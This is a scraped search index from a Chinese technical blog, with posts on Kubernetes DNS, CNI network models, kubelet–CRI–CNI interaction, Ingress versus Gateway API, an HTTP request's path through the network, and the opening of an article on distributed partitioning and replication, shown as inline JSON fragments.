在互联网早期,随着连接设备数量的增加,IP 地址的管理与记忆变得越来越复杂。为了简化网络资源的访问,DNS(Domain Name System)应运而生。DNS 的核心作用是将用户可读的域名(如 www.example.com)解析为对应的 IP 地址(如 93.184.215.34),从而使用户无需记忆复杂的数字串,便能轻松访问全球各地的网络资源。 DNS 是一种应用层协议,与 HTTP(S) 等协议同属 OSI 网络模型中的最高层。它依赖于 client-server 模型进行工作,客户端向 DNS 服务器发出查询请求,服务器返回对应的 IP 地址。传统的 DNS 通过 UDP 或 TCP 传输,随着互联网安全需求的提升,DNS over TLS、DNS over HTTPS (DoH)、DNS over QUIC 等新协议也相继推出,以增强数据隐私和安全性。 要实现 DNS 查询,客户端需要知道 DNS 服务器地址,而这些信息通常配置在客户端的 /etc/resolv.conf 文件中。这个文件记录了 DNS 服务器的 IP 地址以及查询时的附加选项。接下来我们会详细探讨 Kubernetes 集群内的 /etc/resolv.conf 文件和相关的 kubelet 配置。 ","date":"2024-09-17","objectID":"/k8s-dns/:1:0","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"K8S DNS 配置详解 在 Kubernetes 中,每个 Pod 都拥有一个由 kubelet 自动生成的 /etc/resolv.conf 文件,文件内容一般如下: nameserver 10.96.0.10 search default.svc.cluster.local svc.cluster.local cluster.local options ndots:5 其中: nameserver:指定了 DNS server 的集群内 IP 地址,DNS server 早期使用的是 kube-dns,现在则基本是 CoreDNS。如果 nameserver 设置了多个地址,则表示前一个地址无响应时依次向下一个地址发起 DNS 查询。 search:定义了 DNS 查询时的域名后缀补全顺序。 options ndots:5:这个选项规定域名中至少有 5 个 . 才会被认为是 FQDN 完全限定域名。如果查询的域名中点的数量不足,则会根据 search 补全后缀。例如,查询 mysvc 时,其会被补全为 mysvc.default.svc.cluster.local.,最后真正请求的是补全后的域名。 /etc/resolv.conf 文件是由 kubelet 在 Pod 启动时为每个 Pod 自动生成的。Kubelet 的配置(早期通过命令行参数的形式,后面则调整为了配置文件)决定了 Pod 中 /etc/resolv.conf 的具体内容,具体关联如下: --cluster-dns 或 clusterDNS:指定集群内 DNS 服务器的 IP 地址,映射到 /etc/resolv.conf 中的 nameserver。 --cluster-domain 或 clusterDomain:用于配置集群的默认域名后缀(如 cluster.local),映射到 /etc/resolv.conf 中的 search。 options ndots:5 这一项则在 kubelet 代码中写死了,参考 kubelet 源码。 补充说明:search default.svc.cluster.local ... 是 kubelet 的默认规则,对应 \u003cnamespace\u003e.svc.\u003cclusterDomain\u003e,namespace 是 pod 所在的命名空间名称。 此外,Pod 的 DNS 行为也受 dnsPolicy 和 dnsConfig 这两个配置的影响。 dnsPolicy 决定 Pod 使用哪种 DNS 策略。有以下四种取值: Default:虽然名字叫 default 但并不是默认选型,此时 pod 的 /etc/resolv.conf 使用所在 node 节点的配置,而该配置又通过 kubelet 的配置项 resolvConf 指定。 ClusterFirst:默认选项,使用集群内的 DNS server 进行域名解析。 ClusterFirstWithHostNet:当 pod 使用 hostNetwork 时应该设置此项。 None:忽略此前 DNS 设置,具体配置完全由 dnsConfig 决定。 dnsConfig 自定义 pod 的 /etc/resolv.conf,例如: apiVersion: v1 kind: Pod metadata: namespace: default name: dns-example spec: containers: - name: test image: nginx dnsPolicy: \"None\" dnsConfig: # 自定义 pod 的 /etc/resolv.conf nameservers: - 192.0.2.1 searches: - ns1.svc.cluster-domain.example - my.dns.search.suffix options: - name: ndots value: \"2\" ","date":"2024-09-17","objectID":"/k8s-dns/:2:0","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"总结 DNS 是 client-server 请求-响应模型,日常所说的公网的 DNS 被称为 global DNS,而像 kubernetes 集群内的 DNS 则是 private DNS。在 Kubernetes 集群中,Pod 的 DNS 设置由 kubelet 管理,所有的 DNS 查询首先由集群内的 DNS 服务器(通常是 CoreDNS)处理。Pod 的 /etc/resolv.conf 文件内容则由 kubelet 的配置以及 Pod 的 dnsPolicy 和 dnsConfig 设置决定。掌握这些配置项的含义与用法,对于在 Kubernetes 集群中进行 DNS 问题排查和优化至关重要。 参考资料: https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/ https://www.man7.org/linux/man-pages/man5/resolv.conf.5.html https://www.rfc-editor.org/rfc/rfc9499.html https://www.rfc-editor.org/rfc/rfc1034.txt https://www.rfc-editor.org/rfc/rfc1035.txt ","date":"2024-09-17","objectID":"/k8s-dns/:3:0","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","date":"2024-09-13","objectID":"/k8s-cni-network-model/","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"序言 网络是容器通信的基础,Kubernetes 本身并未提供开箱即用的网络互通功能,只提出了两点基本要求: pods can communicate with all other pods on any other node without NAT agents on a node (e.g. system daemons, kubelet) can communicate with all pods on that node 至于如何实现这些通信能力,通常依赖于 CNI 插件来完成。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:1:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"IPAM Kubernetes 的网络模型要求每个 Pod 拥有唯一的 IP 地址,负责管理和分配这些 IP 地址的功能由 IPAM(IP Address Management)来实现。而 IPAM 也是 CNI 插件的重要组成部分。 一种常见的 IPAM 实现方式是先给每个 node 节点分配一个 CIDR(Classless Inter-Domain Routing 无类别域间路由),然后根据 node 节点的 CIDR 范围分配该节点上的 Pod IP 地址。 例如,每个 node 节点设置 CIDR: apiVersion: v1 kind: Node metadata: name: node01 spec: podCIDR: 192.168.1.0/24 podCIDRs: - 192.168.1.0/24 --- apiVersion: v1 kind: Node metadata: name: node02 spec: podCIDR: 192.168.2.0/24 podCIDRs: - 192.168.2.0/24 上例中: node01 的 podCIDR 是 192.168.1.0/24(地址范围是:192.168.1.0 ~ 192.168.1.255),那么该节点上 Pod 的 IP 地址范围是:192.168.1.1 ~ 192.168.1.254(首尾两个地址有其它特殊用途)。 node02 的 podCIDR 是 192.168.2.0/24(地址范围是:192.168.2.0 ~ 192.168.2.255),那么该节点上 Pod 的 IP 地址范围是:192.168.2.1 ~ 192.168.2.254。 简单理解就是给每个 node 节点划分一个小的子网,同一个 node 节点上的 pod IP 地址处于同一个子网范围内。 注意!以上只是 IPAM 的实现方式之一,不同的 CNI 插件可能还会提供其它的实现方式。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:2:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"Linux VETH \u0026 Bridge Pod 的 IP 地址确定后,接下来的问题是如何在集群内进行通信。 Linux 提供了丰富的虚拟网络接口类型来支持复杂的网络环境。VETH(virtual Ethernet)和 Bridge 就是其中的两种虚拟网络接口。 如上图所示(你可能见过很多类似的图片)。每个 Pod 有自己的 network namespace(独立的网络命名空间),通过 veth pair 与 root namespace(主机网络命名空间)打通,然后再使用 bridge(通常叫 cni0 或 docker0)将所有 veth pair 连接在一起。 需要注意的是,VETH 和 Bridge 是相互独立的技术。如果我们使用 veth pair 直连两个 pod ,那么这两个 pod 就可以互相通信。但是如果只使用 veth pair,当 pod 数量越来越多时,为了确保两两互通,veth pair 的数量就会非常庞大进而难以管理,这也是使用 bridge 的原因之一。 在同一个 node 节点上的 pod 互相通信很容易理解,veth pair 和 bridge 在本机就处理掉了。 但如果跨越多个 node 节点的时候呢?我们似乎很想当然的以为,由 bridge 交给 root namespace 的 eth0 真实网卡去转发流量就行了,真的这么简单吗? 当然不是!node 节点可能是虚拟机或者物理机,node 节点可能在同一台物理机上通过虚拟网络互联,也可能是不同的物理机通过路由器或交换机相互连接。这里的问题就在于,连接 node 节点的这个网络设备(虚拟/真实的路由器/交换机/其它设备)是否能够直接路由 Pod 的 MAC/IP 地址?(路由 node 的 IP 地址很自然,但是 node 内部的 pod MAC/IP 地址又怎么知道呢?) 如果上面这个问题的答案是可以,那么 CNI 插件只使用 VETH 和 Bridge 就能完成集群内容器的互联互通,这就是本文想说的第一种 CNI 网络模型,在 Cilium 中,这种网络模型称为 Native-Routing,而在 Flannel 中则叫 host-gw 模式。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:3:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"Overlay 如前文所述,如果连接 node 节点的路由设备无法路由 pod MAC/IP,那么集群内的网络互通又如何保证?答案是使用 Overlay 网络。 各个 node 节点是互通的(node IP 可路由),那么将原始数据包封装一层再传输,例如 VXLAN 封包: 如上图所示,原始的 pod IP 地址被封装在 Inner Ethernet Frame 里作为数据包,在外层添加 node 节点的 IP 地址,由于 node 节点互通,因此数据包会被正常转发到目标 node 节点,然后再解包并根据内层的 pod IP 转发给 pod。 Overlay 网络通过在现有网络的基础上封装额外的一层网络包,使得 Pod 可以跨节点进行通信。 Overlay 的实现方式有很多,VXLAN 是比较常见的一种,除此之外还有 IP-in-IP 等等。Linux 内核直接提供了 VXLAN 的功能,但是不同的 CNI 插件不一定直接使用的就是 Linux 内核功能,CNI 插件可能会绕过内核自己实现 VXLAN 的封包解包。 这是本文想介绍的第二种 CNI 网络模型 Overlay。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:4:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"BGP 当涉及到多集群或混合云场景时,某些情况下集群内的 Pod 需要能被外部直接访问。此时 BGP(Border Gateway Protocol 边界网关协议)便是解决方案之一。 BGP 已经广泛用于大规模数据中心或骨干网络的路由,它允许不同 AS(autonomous systems)自治系统(可以简单理解为两个独立的网络)之间交换路由信息。 在 Kubernetes 中,可以将集群视为一个 AS 自治系统,通过 BGP 交互路由信息(边界网关互相知道对方网络中的路由),也就是可以通过宣布 Pod 的 IP 地址,使得集群外能够直接路由到这些 Pod IP 地址,从而实现 Pod 的集群外部可达性。 既然能使用 BGP 交互路由信息,那么直接通过 BGP 去交换集群内所有 pod IP 信息,从而让集群内 pod IP 可路由,进而直接使用本文上述的第一种 CNI 网络模型 Native-Routing 是否可行?答案是可行,但是不建议这么做,因为 BGP 缺乏数据路径的可编程性(不建议使用 BGP 建立集群内部网络的可达性)。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:5:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"总结 本文介绍了 Native-Routing、Overlay、BGP 三种 CNI 网络模型。使用 Native-Routing 的前提条件是集群内 Pod IP 可路由,然而很多时候无法满足此要求,因此众多 CNI 插件通过 VXLAN/IP-in-IP 等方式实现了 Overlay 网络,进而保证集群内容器的互通。在某些复杂场景下(如跨集群或跨云环境),集群内 Pod 需要支持集群外部的可访问性,此时则可以使用 BGP 的方式。 参考资料: https://kubernetes.io/docs/concepts/services-networking/ https://kubernetes.io/docs/concepts/cluster-administration/addons/ https://developers.redhat.com/blog/2018/10/22/introduction-to-linux-interfaces-for-virtual-networking https://docs.cilium.io/en/stable/network/concepts/routing/ https://docs.tigera.io/calico/latest/networking/configuring/vxlan-ipip https://github.com/flannel-io/flannel/blob/master/Documentation/backends.md ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:6:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","date":"2024-09-07","objectID":"/kubelet-cri-cni/","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"序言 当一个新的 Pod 被提交创建之后,Kubelet、CRI、CNI 这三个组件之间进行了哪些交互? ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:1:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"Kubelet -\u003e CRI -\u003e CNI 如上图所示: Kubelet 从 kube-api-server 处监听到有新的 pod 被调度到了自己的节点且需要创建。 Kubelet 创建 sandbox 并配置好 Pod 的环境,其中包括: Kubelet 通过 gRPC 调用 CRI 组件创建 sandbox。 CRI 通过命令行调用 CNI 设置 pod 的网络。 Kubelet 创建 container 阶段: 调用 CRI 拉取镜像。 调用 CRI 创建 container。 调用 CRI 启动 container。 注意: 先创建一个 sandbox 就是为了先设置好 pod 的网络命名空间,因为用户容器可能面临启动失败等各种异常情况。 从 kubernetes v1.24 版本开始,Kubelet 不再管理 CNI,而是由 CRI 负责调用 CNI。 CRI 的具体实现有 containerd,cri-o,docker 等几种。 containerd 的架构图如下: cri-o 的架构图如下: 从图中也可以看到 CNI 由 CRI 负责调用。 再进一步看看细节一点的流程: Kubelet 在 SyncPod 阶段同步 Pod: 创建 sandbox,其中会进行两个 gRPC 方法的调用: Kubelet 调用 RuntimeService.RunPodSandbox,CRI 开始创建 pod 的各种命名空间(隔离环境),然后再拉起 sandbox 容器,接着 CRI 调用 CNI 设置 pod 网络环境,包括分配 pod IP 地址。 Kubelet 调用 RuntimeService.PodSandboxStatus 确认 pod sandbox 状态。 进行容器创建阶段(按照 ephemeral、init、normal 的顺序),此时涉及三个 gRPC 调用: Kubelet 调用 ImageService.PullImage 由 CRI 拉取镜像。 Kubelet 调用 RuntimeService.CreateContainer 由 CRI 创建容器,这里主要是配置好环境。 Kubelet 调用 RuntimeService.StartContainer 由 CRI 启动容器,至此容器才跑起来。 新建 Pod 时 Kubelet 与 CRI、CNI 之间的交互大致如上所述。 ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:2:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"CRI \u0026 CNI Kubernetes 通过定义标准接口的方式,与下层具体实现进行了解耦。其中 CRI 是容器运行时接口,通信协议使用的是 gRPC;CNI 是容器网络接口,交互方式则是命令行二进制可执行文件。 CRI 的 gRPC proto 如下,定义了 RuntimeService 和 ImageService 两种服务以及多种方法: CNI 则只有六种操作: ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:3:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"总结 其实不管是新建 Pod 还是其它场景,Kubelet、CRI、CNI 的调用过程都是 Kubelet 调用 CRI,CRI 调用 CNI。 参考资料: https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/ https://github.com/kubernetes/cri-api/blob/master/pkg/apis/runtime/v1/api.proto https://github.com/containernetworking/cni/blob/main/SPEC.md ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:4:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"Kubernetes 网关流量管理:Ingress 与 Gateway API","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"引言 随着 Kubernetes 在云原生领域的广泛使用,流量管理成为了至关重要的一环。为了有效地管理从外部流入集群的流量,Kubernetes 提供了多种解决方案,其中最常见的是 Ingress 和新兴的 Gateway API。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:1:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Ingress 随着微服务架构的发展,服务的数量和复杂性不断增加,如何高效、安全地管理进入集群的外部流量成为了一个亟待解决的问题。Kubernetes 的 Ingress 资源应运而生,它旨在提供一种简单的方式来配置 HTTP 或 HTTPS 流量的路由,并且可以通过反向代理将外部流量分发到集群内部的服务。 例如,将不同的 host 分发到不同的服务: apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: name-virtual-host-ingress spec: rules: - host: foo.bar.com http: paths: - pathType: Prefix path: \"/\" backend: service: name: service1 port: number: 80 - host: bar.foo.com http: paths: - pathType: Prefix path: \"/\" backend: service: name: service2 port: number: 80 尽管 Ingress 为流量管理提供了方便的入口配置,但它也存在一些致命缺陷: 缺乏灵活性:Ingress 往往只支持 L7 HTTP(S) 协议,缺乏对其他协议(如 L4 TCP/UDP)的支持。 供应商依赖:不同的 Ingress 控制器具有不同的实现,功能差异较大,容易导致锁定某个特定供应商的实现(比如在不同的网关里配置不同的 annotations)。 扩展性有限:随着集群规模的扩大和复杂化,单一的 Ingress 资源可能难以满足大规模集群的需求。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:2:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Gateway API 为了弥补 Ingress 的局限性,社区引入了 Gateway API。它不仅提供了更强大的流量路由功能,还提升了对多种协议、跨团队协作、以及多供应商兼容性的支持。Gateway API 的目标是将流量管理从服务网格、Ingress 控制器等解耦出来,提供一个标准化的 API 用于控制流量。 Gateway API 的优点有: 统一化标准化:由于定义了一套标准化的 API,即使替换了底层使用的网关,上层仍然可以保持无感的,这也避免了网关的供应商依赖。 更多协议支持:Gateway API 支持 L4 ~ L7 多种协议,包括 HTTP、gRPC、TCP、UDP 等。 分层设计与职责分离:Gateway API 引入了 GatewayClass、Gateway 和 Route 等资源,不同的角色管理不同的资源。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"GatewayClass GatewayClass 由基础设施人员管理,用来描述底层的网关实现(例如,你可以有不同的 GatewayClass 来分别代表使用 Nginx、Istio、或者其他负载均衡器的网关)。 例如,以下定义了一个 Nginx 的网关实现: apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: labels: app.kubernetes.io/instance: nginx-gateway app.kubernetes.io/name: nginx-gateway app.kubernetes.io/version: 1.4.0 name: nginx spec: controllerName: gateway.nginx.org/nginx-gateway-controller ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:1","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Gateway Gateway 由集群管理员负责,是流量入口的具体定义,用来代表一个物理或虚拟的流量入口点。Gateway 资源会引用一个 GatewayClass 来确定网关的实现方式,并包含一组监听器(listeners),这些监听器定义了网关监听的端口和协议。 例如,以下定义了一个网关,监听 80 端口的 HTTP 入站流量,底层使用 nginx 网关实现: apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: prod-web spec: gatewayClassName: nginx listeners: - protocol: HTTP port: 80 name: prod-web-gw ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:2","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Route Route 定义路由规则,针对不同的协议类型使用不同的资源,如 HTTPRoute、TLSRoute、TCPRoute、UDPRoute、GRPCRoute 等。 例如,使用 HTTPRoute 根据 HTTP 请求头分发到不同的服务: apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: foo-route labels: gateway: prod-web-gw spec: hostnames: - foo.example.com rules: - backendRefs: - name: foo-v1 port: 8080 - matches: - headers: - name: traffic value: test backendRefs: - name: foo-v2 port: 8080 合理配置 Route 便可以轻松实现金丝雀发布、蓝绿部署、流量镜像、重定向与请求改写等各种复杂的路由功能。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:3","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"GAMMA 我们把集群内外方向的流量称为“南北向流量”,把集群内部服务之间的流量称为“东西向流量”。 虽然 Gateway API 最开始的关注点集中在南北向流量上,但是随着 service mesh 服务网格的兴起,人们也希望能将东西向流量一并统一化与标准化。因此 Gateway API 自 v1.1.0 版本起,已将 GAMMA(Gateway API for Mesh Management and Administration)倡议的工作纳入标准渠道,并且有一个专门的子项目来做这件事。 简而言之,Gateway API 正在实现集群内外流量管理的大一统。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:4","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"总结 Ingress 是否会被 Gateway API 替代?不会,Ingress 自 1.19 版本 GA 后并没有计划弃用。 Ingress 与 Gateway API 都是声明性资源(可以简单理解为配置文件),两者都需要由具体的网关支持工作。 Ingress 提供了较为简单的流量管理,适用于小规模和简单的流量需求,其实现依赖于具体的控制器,因此存在一定的供应商绑定问题。 Gateway API 的标准化设计提供了跨平台的兼容性和一致性,并且支持多协议、多团队协作和更复杂的流量管理需求。 参考资料: https://kubernetes.io/docs/concepts/services-networking/ingress/ https://gateway-api.sigs.k8s.io/ ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:4:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["网络"],"content":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","date":"2024-08-24","objectID":"/http-network-travel/","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"引言 常见的网络拓扑结构如下图所示: 在此拓扑中,终端设备通过 WiFi 连接到路由器,路由器再连接到光猫(或终端设备通过移动网络 4G/5G 连接到基站),之后 ISP 网络服务提供商接管网络通信,将请求最终转发至应用服务器。 从用户设备发出的 HTTP 请求是如何穿越网络的?我们将深入探讨这一过程。 ","date":"2024-08-24","objectID":"/http-network-travel/:1:0","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"HTTP 请求的网络旅途 ","date":"2024-08-24","objectID":"/http-network-travel/:2:0","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"OSI 网络体系结构 先从计算机网络的基础架构开始: 上图展示了五层简化版 OSI 网络模型。每层都对网络通信至关重要,特别是在 HTTP 请求的传递过程中。关键点包括: 传输层:TCP 头部包含的源端口和目标端口。 网络层:IP 头部包含的源 IP 地址和目标 IP 地址。 数据链路层:MAC 头部包含的源 MAC 地址和目标 MAC 地址。 接下来我们来看看,在网络设备的转发过程中,这些信息如何发生变化。 ","date":"2024-08-24","objectID":"/http-network-travel/:2:1","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"HTTP 网络之旅 下图展示了完整的网络路径: 一、用户终端设备 –\u003e 路由器 HTTP 请求基于 TCP 连接。用户通常会请求一个域名地址,首先必须通过 DNS 解析获取服务器的 IP 地址。DNS 的查询过程如下: 浏览器 DNS 缓存(如果访问的是 web 网页)。 本地操作系统 DNS 缓存。 本地 /etc/hosts 文件是否有配置域名到 IP 的直接映射。 DNS 查询: 向域名服务器(地址配置在 /etc/resolv.conf 文件)发起查询: 域名服务器地址可以是:ISP 域名服务器或公共 DNS 服务器(如 Google 8.8.8.8 或 Cloudflare 1.1.1.1)。 通常,终端设备通过路由器连接网络,这时 /etc/resolv.conf 的 nameserver 指向的就是路由器的 WAN IP(如 192.168.3.1),路由器将继续转发 DNS 查询。 递归查询:根域名服务器 -\u003e 顶级域名服务器 -\u003e 权威域名服务器(存储真实的 DNS 记录)。 DNS 解析完毕后,数据开始从应用层向下传递并封装: 传输层:封装 TCP 头,包含源端口(一般随机生成)和目标端口(HTTP 默认 80)。 网络层:封装 IP 头,包含源 IP(用户设备的内网 IP)和目标 IP(远程服务器公网 IP)地址。 用户设备通过 ARP 协议查找目标 MAC 地址(此时得到路由器的 MAC 地址)。在数据链路层则封装了 MAC 头部,其中包含了源 MAC(用户设备 MAC)地址和目标 MAC(路由器 MAC)地址。 最后,数据在物理层通过无线电波(WiFi)传递二进制数据到路由器(如果是双绞线则是电信号,光纤则是光信号)。路由器接收到数据后,进入下一阶段处理。 二、路由器 –\u003e 光猫 路由器在物理层接收到二进制数据后,将数据解析成上一层的数据链路层格式,随后改写源 MAC 和目标 MAC 地址,将数据发送到下一跳设备(光猫)。 由于路由器没有公网 IP 地址,此时不会进行 NAT(网络地址转换),IP 头部中的源 IP 仍为用户设备的内网 IP。 三、光猫 –\u003e ISP NAT 设备 光猫负责将数据通过一系列中间网络设备,最终传递到 ISP 的 NAT 设备。 四、ISP NAT 设备 –\u003e 服务器 由于公网 IPv4 地址的数量有限,ISP 通常会为同一区域的多个用户共享一个公网 IP。 此时,ISP 的 NAT 设备会将源 IP 地址转换为共享的公网 IP 地址。至此,数据才进入公网传输,并最终达到应用服务器。 服务器在接受到数据后,从下层往上依次解析数据,最终还原出来应用层的 HTTP 请求。 ","date":"2024-08-24","objectID":"/http-network-travel/:2:2","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"总结 本文介绍了 HTTP 请求从用户终端设备到应用服务器的全过程,并通过图示说明了请求如何在 OSI 模型的不同层次间传递和转化。 ","date":"2024-08-24","objectID":"/http-network-travel/:3:0","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["系统架构","分布式"],"content":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"引言 本文基于《Designing Data-Intensive Applications》一书(设计数据密集型应用,简称 DDIA),深入探讨了 Redis、Kafka 和 Elasticsearch 等常用组件的分区与复制机制。通过这些案例分析,我们可以更好地理解分布式系统的基本原理和实际应用。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:1:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"DDIA 复制与分区 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:2:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"复制 复制机制主要由领导者(leader,又称为 master/primary)和追随者(follower,又称为 slave/replica)组成。 根据领导者的数量,复制可以分为以下几种形式: 单主复制:最常见的形式。 多主复制:常见于多数据中心、离线设备、协同编辑等场景。 无主复制:多受 Dynamo 系统启发。 根据复制时的确认机制,复制分为: 同步:客户端发起请求,主库和从库都完成变更后才响应。 异步:主库完成变更后立即响应,不等待从库。 半同步:一主多从,某些从库同步,其他从库异步。 复制的主要挑战在于复制延迟,客户端对从库读有可能读到落后的数据。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:2:1","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"分区 分区(partition 或 shard 等)是指将大型数据集划分成若干小部分。 对 key-value 数据的分区方式包括: 范围分区:例如开头字母 A-F 为一组,G-N 为一组,其余字母为一组。 哈希分区(hash-based):通过哈希算法将 key 打散分布到不同的分区。 分区涉及到次级索引则会更复杂,常见方法有: 本地索引:也称为文档分区索引,每个分区只维护自己的次级索引。 全局索引:覆盖所有分区数据。 分区的常见问题有负载偏斜(数据分布不均衡)、热点、分区再平衡等。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:2:2","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"常用组件分析 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 